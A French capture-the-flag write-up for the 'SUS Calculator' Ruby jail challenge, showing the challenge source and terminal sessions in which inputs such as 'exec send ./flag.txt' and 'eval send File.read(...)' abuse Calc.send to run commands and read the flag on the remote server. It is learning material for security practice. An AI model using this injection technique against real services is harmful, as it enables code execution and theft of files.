🧐 SUS Calculator
👀 Avant de commencer
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github
📖 Énoncé du challenge
#!/usr/local/bin/ruby
class Calc
def self.+ left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left + right
end
def self.- left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left - right
end
def self.* left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left * right
end
def self./ left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left / right
end
def self.% left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left % right
end
end
STDOUT.sync = true
puts <<~HEADER
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
HEADER
loop do
print "> "
cmd = gets.chomp.split
if cmd.size != 3
puts "Usage: num (+|-|*|/|%) num"
next
end
left, op, right = cmd
puts Calc.send(op.to_sym, left, right)
end
🚩 Avoir le flag
Comme à chaque fois, on commence par analyser le script.
- Nous avons une calculatrice qui effectue des opérations basiques.
- Les opérations sont effectuées en utilisant des méthodes de classe.
Sauf que à première vue, on ne voit pas de faille. On ne peut pas injecter de code, et les opérations sont bien sécurisées.
En réfléchissant, on se rend compte que op
qui est sencé être l'opérateur, est utilisé pour appeler une méthode de classe. Et si on mettait un nom de méthode qui n'existe pas ?
$ ruby chal.rb
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> 1 + 1
2
> a a a
chal.rb:57:in `block in <main>': undefined method `a' for Calc:Class (NoMethodError)
from chal.rb:47:in `loop'
from chal.rb:47:in `<main>'
Il faut donc qu'on trouve une méthode qui existerait dans la classe Calc
mais qui n'est pas utilisée dans le script.
C'est alors que je trouve la méthode send
qui permet d'appeler une méthode de classe en passant son nom en paramètre.
$ ruby chal.rb
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> exec send a
chal.rb:57:in `exec': No such file or directory - a (Errno::ENOENT)
from chal.rb:57:in `block in <main>'
from chal.rb:47:in `loop'
from chal.rb:47:in `<main>'
Nous avons donc une très très bonne faille de type command injection
. Il ne nous reste plus qu'à exécuter notre commande pour lire le fichier flag.txt
.
$ ruby chal.rb
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> exec send flag.txt
chal.rb:57:in `exec': No such file or directory - flag.txt (Errno::ENOENT)
from chal.rb:57:in `block in <main>'
from chal.rb:47:in `loop'
from chal.rb:47:in `<main>'
Bon bah su-per... c'est quoi cette erreur ???? Bon on va tenter autre chose
$ ruby chal.rb
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> exec send ./flag.txt
./flag.txt: 1: jail{flag_will_be_here_on_remote}: not found
On execute alors en remote et:
$ nc challs1.pyjail.club 5456
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> exec send ./flag.txt
/app/run:57:in `exec': Permission denied - ./flag.txt (Errno::EACCES)
from /app/run:57:in `block in <main>'
from <internal:kernel>:187:in `loop'
from /app/run:47:in `<main>'
Bon bah on va devoir trouver autre chose. on va tenter maintenant de lire le fichier avec un eval.
$ nc challs1.pyjail.club 5456
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> eval send File.read("flag.txt")
jail{me_when_i_uhhh_escape}
💖 Support
👀 Avant de quitter
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github